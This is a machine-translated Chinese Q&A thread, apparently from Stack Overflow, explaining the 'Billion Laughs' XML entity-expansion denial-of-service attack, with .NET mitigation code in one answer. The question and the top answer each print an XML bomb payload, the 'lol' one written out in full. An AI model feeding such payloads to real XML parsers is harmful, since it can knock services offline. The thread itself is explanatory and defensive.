2010-08-10 75 views
40
<!DOCTYPE root [ 
<!ENTITY ha "Ha !"> 
<!ENTITY ha2 "&ha; &ha;"> 
<!ENTITY ha3 "&ha2; &ha2;"> 
<!ENTITY ha4 "&ha3; &ha3;"> 
<!ENTITY ha5 "&ha4; &ha4;"> 
... 
<!ENTITY ha128 "&ha127; &ha127;"> 
]> 
<root>&ha128;</root> 

据说这叫做十亿笑DoS攻击。亿笑笑XML DoS攻击如何工作?

有谁知道它是如何工作的?

+12

应该迁移到BufferOverFlow ... http://en.wikipedia。org/wiki/Billion_laughs – codingbadger 2010-08-10 16:31:31

+8

你应该被迁移到barryoverflow – 2010-08-10 17:17:08

+0

在Firefox 48上试一试你的计算机失速:-) https://bugzilla.mozilla.org/show_bug.cgi?id=798374 – 2016-09-18 17:07:27

回答

46

The Billion Laughs攻击是针对XML解析器的拒绝服务攻击。亿笑攻击也被称为XML炸弹,或者更为深奥的是指数实体扩展攻击。即使使用格式良好的XML,也可能发生十亿个笑的攻击,并且还可以通过XML模式验证。

在下面的XML文件中演示了vanilla Billion Laughs攻击。

<?xml version="1.0"?> 
<!DOCTYPE lolz [ 
<!ENTITY lol "lol"> 
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> 
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> 
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> 
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> 
]> 
<lolz>&lol9;</lolz> 

在这个例子中,有10个不同的XML实体,lol - lol9。第一个实体lol被定义为字符串“lol”。但是,每个其他实体被定义为另一个实体的10个实体。此XML文件的文档内容部分仅包含对实体lol9的一个实例的引用。但是,当DOM或SAX语法分析器正在解析此内容时,遇到lol9时,它将扩展为10个,其​​中每个扩展为10个,其​​他等等。当所有内容扩展到文本lol时,都会有100,000,000个字符串"lol"的实例。如果还有一个实体,或者lol被定义为“lol”的10个字符串,则会有十亿个“大声笑”,因此就是攻击的名字。毋庸置疑,这样的扩展消耗了大量的资源和时间,导致了DOS。

我的blog存在更广泛的解释。

+0

非常喜欢你的安全博客网站试图用[历史记录和重定向技巧]捕获流量的方式(http://blog.yoocare.com/how-to-remove-ib-adnxs-com-pop-ups-browser- redirect-virus-removal /);) – jww 2013-05-14 04:43:44

+1

什么?没有CodePen的例子? – 2016-11-10 17:00:01

2

它写道“哈!” 2 次。

+0

@zneak:怎么做它这样做? – 2010-08-10 16:36:21

+6

@I__:实体'&ha128;'扩展为两个实体'&ha127;',然后扩展为四个'&ha126;',然后扩展为八个'&ha125;'......,直到它扩展到数千亿的'&ha;',这解决了'哈!'。 – zneak 2010-08-10 16:36:36

+0

你能告诉我一个教程,解释如何工作? – 2010-08-10 16:39:44

18

的XML炸弹之一 - http://msdn.microsoft.com/en-us/magazine/ee335713.aspx

攻击者现在可以利用XML的这三个属性(替代实体,嵌套的实体,而内嵌的DTD)来制作一个恶意的XML炸弹。攻击者从这些“炸弹写道嵌套实体就像前面的例子中的XML文档,但不是嵌套只是一个深层次的,他自己的巢深实体多层次......

也有代码保护“(在.NET世界):

XmlReaderSettings settings = new XmlReaderSettings(); 
settings.ProhibitDtd = false; 
settings.MaxCharactersFromEntities = 1024; 
XmlReader reader = XmlReader.Create(stream, settings); 
11

<!ENTITY ha "Ha !">定义一个实体,&ha;展开至"Ha !"。下一行定义了另一个实体&ha2;,该实体扩展为"&ha; &ha;",最终为"Ha ! Ha !"

&ha3;变成Ha ! Ha ! Ha ! Ha !,依此类推,每次增加一倍。如果您遵循该模式,则&haN;"Ha !",2 N-1次,因此&ha128扩展为2 "Ha !" s,这对于任何计算机无法处理都太大。

+0

糟糕,我想我除以二而不是减一。 – 2010-08-10 18:51:03